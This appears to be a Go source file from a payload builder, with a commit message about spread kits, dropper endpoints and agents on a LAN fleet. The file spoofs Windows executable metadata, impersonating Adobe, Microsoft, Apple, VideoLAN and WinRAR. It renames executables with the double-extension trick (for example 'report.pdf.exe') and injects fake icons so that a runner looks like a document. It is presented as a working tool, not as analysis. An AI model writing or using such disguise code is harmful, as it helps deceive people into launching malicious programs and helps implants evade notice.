Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
226 lines
11 KiB
Go
226 lines
11 KiB
Go
package builder
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
|
|
// When injected into the runner, Windows Explorer and Task Manager will show
|
|
// this information instead of the generic Go binary defaults.
|
|
type fileDisguiseInfo struct {
|
|
FileDescription string
|
|
ProductName string
|
|
CompanyName string
|
|
LegalCopyright string
|
|
OriginalFilename string // the "real" exe that Windows thinks this is
|
|
FileVersion string // e.g. "24.0.20112.0"
|
|
ProductVersion string // e.g. "2024.002.20965"
|
|
}
|
|
|
|
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
|
|
// the runner binary look like the legitimate application for that file type.
|
|
// Extensions without an entry fall back to a generic Windows shell host entry.
|
|
var disguiseByExt = map[string]fileDisguiseInfo{
|
|
// ── Documents ──────────────────────────────────────────────────────────────
|
|
".pdf": {
|
|
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
|
|
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
|
|
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
|
|
},
|
|
".doc": {
|
|
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".docx": {
|
|
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".xls": {
|
|
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".xlsx": {
|
|
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".ppt": {
|
|
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".pptx": {
|
|
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".txt": {
|
|
FileDescription: "Text Document", ProductName: "Notepad",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
|
},
|
|
".csv": {
|
|
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
// ── Video ──────────────────────────────────────────────────────────────────
|
|
".mp4": {
|
|
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
".mkv": {
|
|
FileDescription: "Matroska Video File", ProductName: "VLC media player",
|
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
|
},
|
|
".mov": {
|
|
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
|
|
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
|
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
|
|
},
|
|
".avi": {
|
|
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
".wmv": {
|
|
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
// ── Audio ──────────────────────────────────────────────────────────────────
|
|
".mp3": {
|
|
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
".wav": {
|
|
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
// ── Images ─────────────────────────────────────────────────────────────────
|
|
".jpg": {
|
|
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".jpeg": {
|
|
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".png": {
|
|
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".gif": {
|
|
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
// ── Archives ───────────────────────────────────────────────────────────────
|
|
".zip": {
|
|
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
|
},
|
|
".rar": {
|
|
FileDescription: "WinRAR archive", ProductName: "WinRAR",
|
|
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
|
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
|
},
|
|
}
|
|
|
|
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
|
// Falls back to a generic Windows shell host entry if the extension is not recognised.
|
|
func fileDisguiseForExt(ext string) fileDisguiseInfo {
|
|
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
|
|
return info
|
|
}
|
|
// Generic fallback — looks like a Windows shell component
|
|
return fileDisguiseInfo{
|
|
FileDescription: "Windows Shell Extension", ProductName: "Windows",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
|
}
|
|
}
|
|
|
|
// disguisedRunnerName returns the Windows runner filename that impersonates a
|
|
// document type using the double-extension trick:
|
|
//
|
|
// "report.pdf" → "report.pdf.exe"
|
|
// "clip.mp4" → "clip.mp4.exe"
|
|
//
|
|
// When Windows hides known file extensions (the OS default), the user sees
|
|
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
|
|
func disguisedRunnerName(payloadName string) string {
|
|
ext := strings.ToLower(filepath.Ext(payloadName))
|
|
if ext == ".exe" || ext == "" {
|
|
// Already an exe payload or no extension — no double-extension trick
|
|
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
|
if base == "" {
|
|
base = "setup"
|
|
}
|
|
return sanitizeFileName(base) + ".exe"
|
|
}
|
|
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
|
if base == "" {
|
|
base = "file"
|
|
}
|
|
// e.g. "quarterly-report.pdf.exe"
|
|
return sanitizeFileName(base) + ext + ".exe"
|
|
}
|
|
|
|
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
|
|
// icoRelPath, relative to the winres JSON) and the spoofed version info.
|
|
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
|
|
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
|
|
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
|
|
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
|
|
|
|
doc := map[string]any{
|
|
"RT_GROUP_ICON": map[string]any{
|
|
"APP": map[string]any{"0409": icoRelPath},
|
|
},
|
|
"RT_VERSION": map[string]any{
|
|
"#1": map[string]any{
|
|
"0409": map[string]any{
|
|
"FILEVERSION": fv,
|
|
"PRODUCTVERSION": pv,
|
|
"FileDescription": info.FileDescription,
|
|
"FileVersion": info.FileVersion,
|
|
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
|
|
"LegalCopyright": info.LegalCopyright,
|
|
"OriginalFilename": info.OriginalFilename,
|
|
"ProductName": info.ProductName,
|
|
"ProductVersion": info.ProductVersion,
|
|
"CompanyName": info.CompanyName,
|
|
},
|
|
},
|
|
},
|
|
}
|
|
|
|
return marshalJSONPretty(doc)
|
|
}
|
|
|
|
func marshalJSONPretty(v any) ([]byte, error) {
|
|
return json.MarshalIndent(v, "", " ")
|
|
}
|
|
|
|
// fileDisguiseSummary returns a one-line human-readable description of what the
|
|
// disguise will look like, used for logging.
|
|
func fileDisguiseSummary(payloadExt string) string {
|
|
info := fileDisguiseForExt(payloadExt)
|
|
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
|
|
}
|